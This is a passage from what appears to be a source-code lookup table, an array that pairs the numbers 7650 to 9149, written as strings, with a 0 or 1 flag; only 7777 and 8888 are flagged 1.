}, { "7650", 0 }, { "7651", 0 }, { "7652", 0 }, { "7653", 0 }, { "7654", 0 }, { "7655", 0 }, { "7656", 0 }, { "7657", 0 }, { "7658", 0 }, { "7659", 0 }, { "7660", 0 }, { "7661", 0 }, { "7662", 0 }, { "7663", 0 }, { "7664", 0 }, { "7665", 0 }, { "7666", 0 }, { "7667", 0 }, { "7668", 0 }, { "7669", 0 }, { "7670", 0 }, { "7671", 0 }, { "7672", 0 }, { "7673", 0 }, { "7674", 0 }, { "7675", 0 }, { "7676", 0 }, { "7677", 0 }, { "7678", 0 }, { "7679", 0 }, { "7680", 0 }, { "7681", 0 }, { "7682", 0 }, { "7683", 0 }, { "7684", 0 }, { "7685", 0 }, { "7686", 0 }, { "7687", 0 }, { "7688", 0 }, { "7689", 0 }, { "7690", 0 }, { "7691", 0 }, { "7692", 0 }, { "7693", 0 }, { "7694", 0 }, { "7695", 0 }, { "7696", 0 }, { "7697", 0 }, { "7698", 0 }, { "7699", 0 }, { "7700", 0 }, { "7701", 0 }, { "7702", 0 }, { "7703", 0 }, { "7704", 0 }, { "7705", 0 }, { "7706", 0 }, { "7707", 0 }, { "7708", 0 }, { "7709", 0 }, { "7710", 0 }, { "7711", 0 }, { "7712", 0 }, { "7713", 0 }, { "7714", 0 }, { "7715", 0 }, { "7716", 0 }, { "7717", 0 }, { "7718", 0 }, { "7719", 0 }, { "7720", 0 }, { "7721", 0 }, { "7722", 0 }, { "7723", 0 }, { "7724", 0 }, { "7725", 0 }, { "7726", 0 }, { "7727", 0 }, { "7728", 0 }, { "7729", 0 }, { "7730", 0 }, { "7731", 0 }, { "7732", 0 }, { "7733", 0 }, { "7734", 0 }, { "7735", 0 }, { "7736", 0 }, { "7737", 0 }, { "7738", 0 }, { "7739", 0 }, { "7740", 0 }, { "7741", 0 }, { "7742", 0 }, { "7743", 0 }, { "7744", 0 }, { "7745", 0 }, { "7746", 0 }, { "7747", 0 }, { "7748", 0 }, { "7749", 0 }, { "7750", 0 }, { "7751", 0 }, { "7752", 0 }, { "7753", 0 }, { "7754", 0 }, { "7755", 0 }, { "7756", 0 }, { "7757", 0 }, { "7758", 0 }, { "7759", 0 }, { "7760", 0 }, { "7761", 0 }, { "7762", 0 }, { "7763", 0 }, { "7764", 0 }, { "7765", 0 }, { "7766", 0 }, { "7767", 0 }, { "7768", 0 }, { "7769", 0 }, { "7770", 0 }, { "7771", 0 }, { "7772", 0 }, { "7773", 0 }, { "7774", 0 }, { "7775", 0 }, { "7776", 0 }, { "7777", 1 }, { "7778", 0 }, { "7779", 0 }, { "7780", 0 }, { "7781", 0 }, { "7782", 0 }, { "7783", 0 }, { "7784", 0 }, { "7785", 0 }, { "7786", 0 }, { "7787", 0 }, { "7788", 0 }, { "7789", 0 }, { "7790", 0 }, { "7791", 0 }, { "7792", 0 }, { "7793", 0 }, { "7794", 0 }, { "7795", 0 }, { "7796", 0 }, { "7797", 0 }, { "7798", 0 }, { "7799", 0 }, { "7800", 0 }, { "7801", 0 }, { "7802", 0 }, { "7803", 0 }, { "7804", 0 }, { "7805", 0 }, { "7806", 0 }, { "7807", 0 }, { "7808", 0 }, { "7809", 0 }, { "7810", 0 }, { "7811", 0 }, { "7812", 0 }, { "7813", 0 }, { "7814", 0 }, { "7815", 0 }, { "7816", 0 }, { "7817", 0 }, { "7818", 0 }, { "7819", 0 }, { "7820", 0 }, { "7821", 0 }, { "7822", 0 }, { "7823", 0 }, { "7824", 0 }, { "7825", 0 }, { "7826", 0 }, { "7827", 0 }, { "7828", 0 }, { "7829", 0 }, { "7830", 0 }, { "7831", 0 }, { "7832", 0 }, { "7833", 0 }, { "7834", 0 }, { "7835", 0 }, { "7836", 0 }, { "7837", 0 }, { "7838", 0 }, { "7839", 0 }, { "7840", 0 }, { "7841", 0 }, { "7842", 0 }, { "7843", 0 }, { "7844", 0 }, { "7845", 0 }, { "7846", 0 }, { "7847", 0 }, { "7848", 0 }, { "7849", 0 }, { "7850", 0 }, { "7851", 0 }, { "7852", 0 }, { "7853", 0 }, { "7854", 0 }, { "7855", 0 }, { "7856", 0 }, { "7857", 0 }, { "7858", 0 }, { "7859", 0 }, { "7860", 0 }, { "7861", 0 }, { "7862", 0 }, { "7863", 0 }, { "7864", 0 }, { "7865", 0 }, { "7866", 0 }, { "7867", 0 }, { "7868", 0 }, { "7869", 0 }, { "7870", 0 }, { "7871", 0 }, { "7872", 0 }, { "7873", 0 }, { "7874", 0 }, { "7875", 0 }, { "7876", 0 }, { "7877", 0 }, { "7878", 0 }, { "7879", 0 }, { "7880", 0 }, { "7881", 0 }, { "7882", 0 }, { "7883", 0 }, { "7884", 0 }, { "7885", 0 }, { "7886", 0 }, { "7887", 0 }, { "7888", 0 }, { "7889", 0 }, { "7890", 0 }, { "7891", 0 }, { "7892", 0 }, { "7893", 0 }, { "7894", 0 }, { "7895", 0 }, { "7896", 0 }, { "7897", 0 }, { "7898", 0 }, { "7899", 0 }, { "7900", 0 }, { "7901", 0 }, { "7902", 0 }, { "7903", 0 }, { "7904", 0 }, { "7905", 0 }, { "7906", 0 }, { "7907", 0 }, { "7908", 0 }, { "7909", 0 }, { "7910", 0 }, { "7911", 0 }, { "7912", 0 }, { "7913", 0 }, { "7914", 0 }, { "7915", 0 }, { "7916", 0 }, { "7917", 0 }, { "7918", 0 }, { "7919", 0 }, { "7920", 0 }, { "7921", 0 }, { "7922", 0 }, { "7923", 0 }, { "7924", 0 }, { "7925", 0 }, { "7926", 0 }, { "7927", 0 }, { "7928", 0 }, { "7929", 0 }, { "7930", 0 }, { "7931", 0 }, { "7932", 0 }, { "7933", 0 }, { "7934", 0 }, { "7935", 0 }, { "7936", 0 }, { "7937", 0 }, { "7938", 0 }, { "7939", 0 }, { "7940", 0 }, { "7941", 0 }, { "7942", 0 }, { "7943", 0 }, { "7944", 0 }, { "7945", 0 }, { "7946", 0 }, { "7947", 0 }, { "7948", 0 }, { "7949", 0 }, { "7950", 0 }, { "7951", 0 }, { "7952", 0 }, { "7953", 0 }, { "7954", 0 }, { "7955", 0 }, { "7956", 0 }, { "7957", 0 }, { "7958", 0 }, { "7959", 0 }, { "7960", 0 }, { "7961", 0 }, { "7962", 0 }, { "7963", 0 }, { "7964", 0 }, { "7965", 0 }, { "7966", 0 }, { "7967", 0 }, { "7968", 0 }, { "7969", 0 }, { "7970", 0 }, { "7971", 0 }, { "7972", 0 }, { "7973", 0 }, { "7974", 0 }, { "7975", 0 }, { "7976", 0 }, { "7977", 0 }, { "7978", 0 }, { "7979", 0 }, { "7980", 0 }, { "7981", 0 }, { "7982", 0 }, { "7983", 0 }, { "7984", 0 }, { "7985", 0 }, { "7986", 0 }, { "7987", 0 }, { "7988", 0 }, { "7989", 0 }, { "7990", 0 }, { "7991", 0 }, { "7992", 0 }, { "7993", 0 }, { "7994", 0 }, { "7995", 0 }, { "7996", 0 }, { "7997", 0 }, { "7998", 0 }, { "7999", 0 }, { "8000", 0 }, { "8001", 0 }, { "8002", 0 }, { "8003", 0 }, { "8004", 0 }, { "8005", 0 }, { "8006", 0 }, { "8007", 0 }, { "8008", 0 }, { "8009", 0 }, { "8010", 0 }, { "8011", 0 }, { "8012", 0 }, { "8013", 0 }, { "8014", 0 }, { "8015", 0 }, { "8016", 0 }, { "8017", 0 }, { "8018", 0 }, { "8019", 0 }, { "8020", 0 }, { "8021", 0 }, { "8022", 0 }, { "8023", 0 }, { "8024", 0 }, { "8025", 0 }, { "8026", 0 }, { "8027", 0 }, { "8028", 0 }, { "8029", 0 }, { "8030", 0 }, { "8031", 0 }, { "8032", 0 }, { "8033", 0 }, { "8034", 0 }, { "8035", 0 }, { "8036", 0 }, { "8037", 0 }, { "8038", 0 }, { "8039", 0 }, { "8040", 0 }, { "8041", 0 }, { "8042", 0 }, { "8043", 0 }, { "8044", 0 }, { "8045", 0 }, { "8046", 0 }, { "8047", 0 }, { "8048", 0 }, { "8049", 0 }, { "8050", 0 }, { "8051", 0 }, { "8052", 0 }, { "8053", 0 }, { "8054", 0 }, { "8055", 0 }, { "8056", 0 }, { "8057", 0 }, { "8058", 0 }, { "8059", 0 }, { "8060", 0 }, { "8061", 0 }, { "8062", 0 }, { "8063", 0 }, { "8064", 0 }, { "8065", 0 }, { "8066", 0 }, { "8067", 0 }, { "8068", 0 }, { "8069", 0 }, { "8070", 0 }, { "8071", 0 }, { "8072", 0 }, { "8073", 0 }, { "8074", 0 }, { "8075", 0 }, { "8076", 0 }, { "8077", 0 }, { "8078", 0 }, { "8079", 0 }, { "8080", 0 }, { "8081", 0 }, { "8082", 0 }, { "8083", 0 }, { "8084", 0 }, { "8085", 0 }, { "8086", 0 }, { "8087", 0 }, { "8088", 0 }, { "8089", 0 }, { "8090", 0 }, { "8091", 0 }, { "8092", 0 }, { "8093", 0 }, { "8094", 0 }, { "8095", 0 }, { "8096", 0 }, { "8097", 0 }, { "8098", 0 }, { "8099", 0 }, { "8100", 0 }, { "8101", 0 }, { "8102", 0 }, { "8103", 0 }, { "8104", 0 }, { "8105", 0 }, { "8106", 0 }, { "8107", 0 }, { "8108", 0 }, { "8109", 0 }, { "8110", 0 }, { "8111", 0 }, { "8112", 0 }, { "8113", 0 }, { "8114", 0 }, { "8115", 0 }, { "8116", 0 }, { "8117", 0 }, { "8118", 0 }, { "8119", 0 }, { "8120", 0 }, { "8121", 0 }, { "8122", 0 }, { "8123", 0 }, { "8124", 0 }, { "8125", 0 }, { "8126", 0 }, { "8127", 0 }, { "8128", 0 }, { "8129", 0 }, { "8130", 0 }, { "8131", 0 }, { "8132", 0 }, { "8133", 0 }, { "8134", 0 }, { "8135", 0 }, { "8136", 0 }, { "8137", 0 }, { "8138", 0 }, { "8139", 0 }, { "8140", 0 }, { "8141", 0 }, { "8142", 0 }, { "8143", 0 }, { "8144", 0 }, { "8145", 0 }, { "8146", 0 }, { "8147", 0 }, { "8148", 0 }, { "8149", 0 }, { "8150", 0 }, { "8151", 0 }, { "8152", 0 }, { "8153", 0 }, { "8154", 0 }, { "8155", 0 }, { "8156", 0 }, { "8157", 0 }, { "8158", 0 }, { "8159", 0 }, { "8160", 0 }, { "8161", 0 }, { "8162", 0 }, { "8163", 0 }, { "8164", 0 }, { "8165", 0 }, { "8166", 0 }, { "8167", 0 }, { "8168", 0 }, { "8169", 0 }, { "8170", 0 }, { "8171", 0 }, { "8172", 0 }, { "8173", 0 }, { "8174", 0 }, { "8175", 0 }, { "8176", 0 }, { "8177", 0 }, { "8178", 0 }, { "8179", 0 }, { "8180", 0 }, { "8181", 0 }, { "8182", 0 }, { "8183", 0 }, { "8184", 0 }, { "8185", 0 }, { "8186", 0 }, { "8187", 0 }, { "8188", 0 }, { "8189", 0 }, { "8190", 0 }, { "8191", 0 }, { "8192", 0 }, { "8193", 0 }, { "8194", 0 }, { "8195", 0 }, { "8196", 0 }, { "8197", 0 }, { "8198", 0 }, { "8199", 0 }, { "8200", 0 }, { "8201", 0 }, { "8202", 0 }, { "8203", 0 }, { "8204", 0 }, { "8205", 0 }, { "8206", 0 }, { "8207", 0 }, { "8208", 0 }, { "8209", 0 }, { "8210", 0 }, { "8211", 0 }, { "8212", 0 }, { "8213", 0 }, { "8214", 0 }, { "8215", 0 }, { "8216", 0 }, { "8217", 0 }, { "8218", 0 }, { "8219", 0 }, { "8220", 0 }, { "8221", 0 }, { "8222", 0 }, { "8223", 0 }, { "8224", 0 }, { "8225", 0 }, { "8226", 0 }, { "8227", 0 }, { "8228", 0 }, { "8229", 0 }, { "8230", 0 }, { "8231", 0 }, { "8232", 0 }, { "8233", 0 }, { "8234", 0 }, { "8235", 0 }, { "8236", 0 }, { "8237", 0 }, { "8238", 0 }, { "8239", 0 }, { "8240", 0 }, { "8241", 0 }, { "8242", 0 }, { "8243", 0 }, { "8244", 0 }, { "8245", 0 }, { "8246", 0 }, { "8247", 0 }, { "8248", 0 }, { "8249", 0 }, { "8250", 0 }, { "8251", 0 }, { "8252", 0 }, { "8253", 0 }, { "8254", 0 }, { "8255", 0 }, { "8256", 0 }, { "8257", 0 }, { "8258", 0 }, { "8259", 0 }, { "8260", 0 }, { "8261", 0 }, { "8262", 0 }, { "8263", 0 }, { "8264", 0 }, { "8265", 0 }, { "8266", 0 }, { "8267", 0 }, { "8268", 0 }, { "8269", 0 }, { "8270", 0 }, { "8271", 0 }, { "8272", 0 }, { "8273", 0 }, { "8274", 0 }, { "8275", 0 }, { "8276", 0 }, { "8277", 0 }, { "8278", 0 }, { "8279", 0 }, { "8280", 0 }, { "8281", 0 }, { "8282", 0 }, { "8283", 0 }, { "8284", 0 }, { "8285", 0 }, { "8286", 0 }, { "8287", 0 }, { "8288", 0 }, { "8289", 0 }, { "8290", 0 }, { "8291", 0 }, { "8292", 0 }, { "8293", 0 }, { "8294", 0 }, { "8295", 0 }, { "8296", 0 }, { "8297", 0 }, { "8298", 0 }, { "8299", 0 }, { "8300", 0 }, { "8301", 0 }, { "8302", 0 }, { "8303", 0 }, { "8304", 0 }, { "8305", 0 }, { "8306", 0 }, { "8307", 0 }, { "8308", 0 }, { "8309", 0 }, { "8310", 0 }, { "8311", 0 }, { "8312", 0 }, { "8313", 0 }, { "8314", 0 }, { "8315", 0 }, { "8316", 0 }, { "8317", 0 }, { "8318", 0 }, { "8319", 0 }, { "8320", 0 }, { "8321", 0 }, { "8322", 0 }, { "8323", 0 }, { "8324", 0 }, { "8325", 0 }, { "8326", 0 }, { "8327", 0 }, { "8328", 0 }, { "8329", 0 }, { "8330", 0 }, { "8331", 0 }, { "8332", 0 }, { "8333", 0 }, { "8334", 0 }, { "8335", 0 }, { "8336", 0 }, { "8337", 0 }, { "8338", 0 }, { "8339", 0 }, { "8340", 0 }, { "8341", 0 }, { "8342", 0 }, { "8343", 0 }, { "8344", 0 }, { "8345", 0 }, { "8346", 0 }, { "8347", 0 }, { "8348", 0 }, { "8349", 0 }, { "8350", 0 }, { "8351", 0 }, { "8352", 0 }, { "8353", 0 }, { "8354", 0 }, { "8355", 0 }, { "8356", 0 }, { "8357", 0 }, { "8358", 0 }, { "8359", 0 }, { "8360", 0 }, { "8361", 0 }, { "8362", 0 }, { "8363", 0 }, { "8364", 0 }, { "8365", 0 }, { "8366", 0 }, { "8367", 0 }, { "8368", 0 }, { "8369", 0 }, { "8370", 0 }, { "8371", 0 }, { "8372", 0 }, { "8373", 0 }, { "8374", 0 }, { "8375", 0 }, { "8376", 0 }, { "8377", 0 }, { "8378", 0 }, { "8379", 0 }, { "8380", 0 }, { "8381", 0 }, { "8382", 0 }, { "8383", 0 }, { "8384", 0 }, { "8385", 0 }, { "8386", 0 }, { "8387", 0 }, { "8388", 0 }, { "8389", 0 }, { "8390", 0 }, { "8391", 0 }, { "8392", 0 }, { "8393", 0 }, { "8394", 0 }, { "8395", 0 }, { "8396", 0 }, { "8397", 0 }, { "8398", 0 }, { "8399", 0 }, { "8400", 0 }, { "8401", 0 }, { "8402", 0 }, { "8403", 0 }, { "8404", 0 }, { "8405", 0 }, { "8406", 0 }, { "8407", 0 }, { "8408", 0 }, { "8409", 0 }, { "8410", 0 }, { "8411", 0 }, { "8412", 0 }, { "8413", 0 }, { "8414", 0 }, { "8415", 0 }, { "8416", 0 }, { "8417", 0 }, { "8418", 0 }, { "8419", 0 }, { "8420", 0 }, { "8421", 0 }, { "8422", 0 }, { "8423", 0 }, { "8424", 0 }, { "8425", 0 }, { "8426", 0 }, { "8427", 0 }, { "8428", 0 }, { "8429", 0 }, { "8430", 0 }, { "8431", 0 }, { "8432", 0 }, { "8433", 0 }, { "8434", 0 }, { "8435", 0 }, { "8436", 0 }, { "8437", 0 }, { "8438", 0 }, { "8439", 0 }, { "8440", 0 }, { "8441", 0 }, { "8442", 0 }, { "8443", 0 }, { "8444", 0 }, { "8445", 0 }, { "8446", 0 }, { "8447", 0 }, { "8448", 0 }, { "8449", 0 }, { "8450", 0 }, { "8451", 0 }, { "8452", 0 }, { "8453", 0 }, { "8454", 0 }, { "8455", 0 }, { "8456", 0 }, { "8457", 0 }, { "8458", 0 }, { "8459", 0 }, { "8460", 0 }, { "8461", 0 }, { "8462", 0 }, { "8463", 0 }, { "8464", 0 }, { "8465", 0 }, { "8466", 0 }, { "8467", 0 }, { "8468", 0 }, { "8469", 0 }, { "8470", 0 }, { "8471", 0 }, { "8472", 0 }, { "8473", 0 }, { "8474", 0 }, { "8475", 0 }, { "8476", 0 }, { "8477", 0 }, { "8478", 0 }, { "8479", 0 }, { "8480", 0 }, { "8481", 0 }, { "8482", 0 }, { "8483", 0 }, { "8484", 0 }, { "8485", 0 }, { "8486", 0 }, { "8487", 0 }, { "8488", 0 }, { "8489", 0 }, { "8490", 0 }, { "8491", 0 }, { "8492", 0 }, { "8493", 0 }, { "8494", 0 }, { "8495", 0 }, { "8496", 0 }, { "8497", 0 }, { "8498", 0 }, { "8499", 0 }, { "8500", 0 }, { "8501", 0 }, { "8502", 0 }, { "8503", 0 }, { "8504", 0 }, { "8505", 0 }, { "8506", 0 }, { "8507", 0 }, { "8508", 0 }, { "8509", 0 }, { "8510", 0 }, { "8511", 0 }, { "8512", 0 }, { "8513", 0 }, { "8514", 0 }, { "8515", 0 }, { "8516", 0 }, { "8517", 0 }, { "8518", 0 }, { "8519", 0 }, { "8520", 0 }, { "8521", 0 }, { "8522", 0 }, { "8523", 0 }, { "8524", 0 }, { "8525", 0 }, { "8526", 0 }, { "8527", 0 }, { "8528", 0 }, { "8529", 0 }, { "8530", 0 }, { "8531", 0 }, { "8532", 0 }, { "8533", 0 }, { "8534", 0 }, { "8535", 0 }, { "8536", 0 }, { "8537", 0 }, { "8538", 0 }, { "8539", 0 }, { "8540", 0 }, { "8541", 0 }, { "8542", 0 }, { "8543", 0 }, { "8544", 0 }, { "8545", 0 }, { "8546", 0 }, { "8547", 0 }, { "8548", 0 }, { "8549", 0 }, { "8550", 0 }, { "8551", 0 }, { "8552", 0 }, { "8553", 0 }, { "8554", 0 }, { "8555", 0 }, { "8556", 0 }, { "8557", 0 }, { "8558", 0 }, { "8559", 0 }, { "8560", 0 }, { "8561", 0 }, { "8562", 0 }, { "8563", 0 }, { "8564", 0 }, { "8565", 0 }, { "8566", 0 }, { "8567", 0 }, { "8568", 0 }, { "8569", 0 }, { "8570", 0 }, { "8571", 0 }, { "8572", 0 }, { "8573", 0 }, { "8574", 0 }, { "8575", 0 }, { "8576", 0 }, { "8577", 0 }, { "8578", 0 }, { "8579", 0 }, { "8580", 0 }, { "8581", 0 }, { "8582", 0 }, { "8583", 0 }, { "8584", 0 }, { "8585", 0 }, { "8586", 0 }, { "8587", 0 }, { "8588", 0 }, { "8589", 0 }, { "8590", 0 }, { "8591", 0 }, { "8592", 0 }, { "8593", 0 }, { "8594", 0 }, { "8595", 0 }, { "8596", 0 }, { "8597", 0 }, { "8598", 0 }, { "8599", 0 }, { "8600", 0 }, { "8601", 0 }, { "8602", 0 }, { "8603", 0 }, { "8604", 0 }, { "8605", 0 }, { "8606", 0 }, { "8607", 0 }, { "8608", 0 }, { "8609", 0 }, { "8610", 0 }, { "8611", 0 }, { "8612", 0 }, { "8613", 0 }, { "8614", 0 }, { "8615", 0 }, { "8616", 0 }, { "8617", 0 }, { "8618", 0 }, { "8619", 0 }, { "8620", 0 }, { "8621", 0 }, { "8622", 0 }, { "8623", 0 }, { "8624", 0 }, { "8625", 0 }, { "8626", 0 }, { "8627", 0 }, { "8628", 0 }, { "8629", 0 }, { "8630", 0 }, { "8631", 0 }, { "8632", 0 }, { "8633", 0 }, { "8634", 0 }, { "8635", 0 }, { "8636", 0 }, { "8637", 0 }, { "8638", 0 }, { "8639", 0 }, { "8640", 0 }, { "8641", 0 }, { "8642", 0 }, { "8643", 0 }, { "8644", 0 }, { "8645", 0 }, { "8646", 0 }, { "8647", 0 }, { "8648", 0 }, { "8649", 0 }, { "8650", 0 }, { "8651", 0 }, { "8652", 0 }, { "8653", 0 }, { "8654", 0 }, { "8655", 0 }, { "8656", 0 }, { "8657", 0 }, { "8658", 0 }, { "8659", 0 }, { "8660", 0 }, { "8661", 0 }, { "8662", 0 }, { "8663", 0 }, { "8664", 0 }, { "8665", 0 }, { "8666", 0 }, { "8667", 0 }, { "8668", 0 }, { "8669", 0 }, { "8670", 0 }, { "8671", 0 }, { "8672", 0 }, { "8673", 0 }, { "8674", 0 }, { "8675", 0 }, { "8676", 0 }, { "8677", 0 }, { "8678", 0 }, { "8679", 0 }, { "8680", 0 }, { "8681", 0 }, { "8682", 0 }, { "8683", 0 }, { "8684", 0 }, { "8685", 0 }, { "8686", 0 }, { "8687", 0 }, { "8688", 0 }, { "8689", 0 }, { "8690", 0 }, { "8691", 0 }, { "8692", 0 }, { "8693", 0 }, { "8694", 0 }, { "8695", 0 }, { "8696", 0 }, { "8697", 0 }, { "8698", 0 }, { "8699", 0 }, { "8700", 0 }, { "8701", 0 }, { "8702", 0 }, { "8703", 0 }, { "8704", 0 }, { "8705", 0 }, { "8706", 0 }, { "8707", 0 }, { "8708", 0 }, { "8709", 0 }, { "8710", 0 }, { "8711", 0 }, { "8712", 0 }, { "8713", 0 }, { "8714", 0 }, { "8715", 0 }, { "8716", 0 }, { "8717", 0 }, { "8718", 0 }, { "8719", 0 }, { "8720", 0 }, { "8721", 0 }, { "8722", 0 }, { "8723", 0 }, { "8724", 0 }, { "8725", 0 }, { "8726", 0 }, { "8727", 0 }, { "8728", 0 }, { "8729", 0 }, { "8730", 0 }, { "8731", 0 }, { "8732", 0 }, { "8733", 0 }, { "8734", 0 }, { "8735", 0 }, { "8736", 0 }, { "8737", 0 }, { "8738", 0 }, { "8739", 0 }, { "8740", 0 }, { "8741", 0 }, { "8742", 0 }, { "8743", 0 }, { "8744", 0 }, { "8745", 0 }, { "8746", 0 }, { "8747", 0 }, { "8748", 0 }, { "8749", 0 }, { "8750", 0 }, { "8751", 0 }, { "8752", 0 }, { "8753", 0 }, { "8754", 0 }, { "8755", 0 }, { "8756", 0 }, { "8757", 0 }, { "8758", 0 }, { "8759", 0 }, { "8760", 0 }, { "8761", 0 }, { "8762", 0 }, { "8763", 0 }, { "8764", 0 }, { "8765", 0 }, { "8766", 0 }, { "8767", 0 }, { "8768", 0 }, { "8769", 0 }, { "8770", 0 }, { "8771", 0 }, { "8772", 0 }, { "8773", 0 }, { "8774", 0 }, { "8775", 0 }, { "8776", 0 }, { "8777", 0 }, { "8778", 0 }, { "8779", 0 }, { "8780", 0 }, { "8781", 0 }, { "8782", 0 }, { "8783", 0 }, { "8784", 0 }, { "8785", 0 }, { "8786", 0 }, { "8787", 0 }, { "8788", 0 }, { "8789", 0 }, { "8790", 0 }, { "8791", 0 }, { "8792", 0 }, { "8793", 0 }, { "8794", 0 }, { "8795", 0 }, { "8796", 0 }, { "8797", 0 }, { "8798", 0 }, { "8799", 0 }, { "8800", 0 }, { "8801", 0 }, { "8802", 0 }, { "8803", 0 }, { "8804", 0 }, { "8805", 0 }, { "8806", 0 }, { "8807", 0 }, { "8808", 0 }, { "8809", 0 }, { "8810", 0 }, { "8811", 0 }, { "8812", 0 }, { "8813", 0 }, { "8814", 0 }, { "8815", 0 }, { "8816", 0 }, { "8817", 0 }, { "8818", 0 }, { "8819", 0 }, { "8820", 0 }, { "8821", 0 }, { "8822", 0 }, { "8823", 0 }, { "8824", 0 }, { "8825", 0 }, { "8826", 0 }, { "8827", 0 }, { "8828", 0 }, { "8829", 0 }, { "8830", 0 }, { "8831", 0 }, { "8832", 0 }, { "8833", 0 }, { "8834", 0 }, { "8835", 0 }, { "8836", 0 }, { "8837", 0 }, { "8838", 0 }, { "8839", 0 }, { "8840", 0 }, { "8841", 0 }, { "8842", 0 }, { "8843", 0 }, { "8844", 0 }, { "8845", 0 }, { "8846", 0 }, { "8847", 0 }, { "8848", 0 }, { "8849", 0 }, { "8850", 0 }, { "8851", 0 }, { "8852", 0 }, { "8853", 0 }, { "8854", 0 }, { "8855", 0 }, { "8856", 0 }, { "8857", 0 }, { "8858", 0 }, { "8859", 0 }, { "8860", 0 }, { "8861", 0 }, { "8862", 0 }, { "8863", 0 }, { "8864", 0 }, { "8865", 0 }, { "8866", 0 }, { "8867", 0 }, { "8868", 0 }, { "8869", 0 }, { "8870", 0 }, { "8871", 0 }, { "8872", 0 }, { "8873", 0 }, { "8874", 0 }, { "8875", 0 }, { "8876", 0 }, { "8877", 0 }, { "8878", 0 }, { "8879", 0 }, { "8880", 0 }, { "8881", 0 }, { "8882", 0 }, { "8883", 0 }, { "8884", 0 }, { "8885", 0 }, { "8886", 0 }, { "8887", 0 }, { "8888", 1 }, { "8889", 0 }, { "8890", 0 }, { "8891", 0 }, { "8892", 0 }, { "8893", 0 }, { "8894", 0 }, { "8895", 0 }, { "8896", 0 }, { "8897", 0 }, { "8898", 0 }, { "8899", 0 }, { "8900", 0 }, { "8901", 0 }, { "8902", 0 }, { "8903", 0 }, { "8904", 0 }, { "8905", 0 }, { "8906", 0 }, { "8907", 0 }, { "8908", 0 }, { "8909", 0 }, { "8910", 0 }, { "8911", 0 }, { "8912", 0 }, { "8913", 0 }, { "8914", 0 }, { "8915", 0 }, { "8916", 0 }, { "8917", 0 }, { "8918", 0 }, { "8919", 0 }, { "8920", 0 }, { "8921", 0 }, { "8922", 0 }, { "8923", 0 }, { "8924", 0 }, { "8925", 0 }, { "8926", 0 }, { "8927", 0 }, { "8928", 0 }, { "8929", 0 }, { "8930", 0 }, { "8931", 0 }, { "8932", 0 }, { "8933", 0 }, { "8934", 0 }, { "8935", 0 }, { "8936", 0 }, { "8937", 0 }, { "8938", 0 }, { "8939", 0 }, { "8940", 0 }, { "8941", 0 }, { "8942", 0 }, { "8943", 0 }, { "8944", 0 }, { "8945", 0 }, { "8946", 0 }, { "8947", 0 }, { "8948", 0 }, { "8949", 0 }, { "8950", 0 }, { "8951", 0 }, { "8952", 0 }, { "8953", 0 }, { "8954", 0 }, { "8955", 0 }, { "8956", 0 }, { "8957", 0 }, { "8958", 0 }, { "8959", 0 }, { "8960", 0 }, { "8961", 0 }, { "8962", 0 }, { "8963", 0 }, { "8964", 0 }, { "8965", 0 }, { "8966", 0 }, { "8967", 0 }, { "8968", 0 }, { "8969", 0 }, { "8970", 0 }, { "8971", 0 }, { "8972", 0 }, { "8973", 0 }, { "8974", 0 }, { "8975", 0 }, { "8976", 0 }, { "8977", 0 }, { "8978", 0 }, { "8979", 0 }, { "8980", 0 }, { "8981", 0 }, { "8982", 0 }, { "8983", 0 }, { "8984", 0 }, { "8985", 0 }, { "8986", 0 }, { "8987", 0 }, { "8988", 0 }, { "8989", 0 }, { "8990", 0 }, { "8991", 0 }, { "8992", 0 }, { "8993", 0 }, { "8994", 0 }, { "8995", 0 }, { "8996", 0 }, { "8997", 0 }, { "8998", 0 }, { "8999", 0 }, { "9000", 0 }, { "9001", 0 }, { "9002", 0 }, { "9003", 0 }, { "9004", 0 }, { "9005", 0 }, { "9006", 0 }, { "9007", 0 }, { "9008", 0 }, { "9009", 0 }, { "9010", 0 }, { "9011", 0 }, { "9012", 0 }, { "9013", 0 }, { "9014", 0 }, { "9015", 0 }, { "9016", 0 }, { "9017", 0 }, { "9018", 0 }, { "9019", 0 }, { "9020", 0 }, { "9021", 0 }, { "9022", 0 }, { "9023", 0 }, { "9024", 0 }, { "9025", 0 }, { "9026", 0 }, { "9027", 0 }, { "9028", 0 }, { "9029", 0 }, { "9030", 0 }, { "9031", 0 }, { "9032", 0 }, { "9033", 0 }, { "9034", 0 }, { "9035", 0 }, { "9036", 0 }, { "9037", 0 }, { "9038", 0 }, { "9039", 0 }, { "9040", 0 }, { "9041", 0 }, { "9042", 0 }, { "9043", 0 }, { "9044", 0 }, { "9045", 0 }, { "9046", 0 }, { "9047", 0 }, { "9048", 0 }, { "9049", 0 }, { "9050", 0 }, { "9051", 0 }, { "9052", 0 }, { "9053", 0 }, { "9054", 0 }, { "9055", 0 }, { "9056", 0 }, { "9057", 0 }, { "9058", 0 }, { "9059", 0 }, { "9060", 0 }, { "9061", 0 }, { "9062", 0 }, { "9063", 0 }, { "9064", 0 }, { "9065", 0 }, { "9066", 0 }, { "9067", 0 }, { "9068", 0 }, { "9069", 0 }, { "9070", 0 }, { "9071", 0 }, { "9072", 0 }, { "9073", 0 }, { "9074", 0 }, { "9075", 0 }, { "9076", 0 }, { "9077", 0 }, { "9078", 0 }, { "9079", 0 }, { "9080", 0 }, { "9081", 0 }, { "9082", 0 }, { "9083", 0 }, { "9084", 0 }, { "9085", 0 }, { "9086", 0 }, { "9087", 0 }, { "9088", 0 }, { "9089", 0 }, { "9090", 0 }, { "9091", 0 }, { "9092", 0 }, { "9093", 0 }, { "9094", 0 }, { "9095", 0 }, { "9096", 0 }, { "9097", 0 }, { "9098", 0 }, { "9099", 0 }, { "9100", 0 }, { "9101", 0 }, { "9102", 0 }, { "9103", 0 }, { "9104", 0 }, { "9105", 0 }, { "9106", 0 }, { "9107", 0 }, { "9108", 0 }, { "9109", 0 }, { "9110", 0 }, { "9111", 0 }, { "9112", 0 }, { "9113", 0 }, { "9114", 0 }, { "9115", 0 }, { "9116", 0 }, { "9117", 0 }, { "9118", 0 }, { "9119", 0 }, { "9120", 0 }, { "9121", 0 }, { "9122", 0 }, { "9123", 0 }, { "9124", 0 }, { "9125", 0 }, { "9126", 0 }, { "9127", 0 }, { "9128", 0 }, { "9129", 0 }, { "9130", 0 }, { "9131", 0 }, { "9132", 0 }, { "9133", 0 }, { "9134", 0 }, { "9135", 0 }, { "9136", 0 }, { "9137", 0 }, { "9138", 0 }, { "9139", 0 }, { "9140", 0 }, { "9141", 0 }, { "9142", 0 }, { "9143", 0 }, { "9144", 0 }, { "9145", 0 }, { "9146", 0 }, { "9147", 0 }, { "9148", 0 }, { "9149", 0 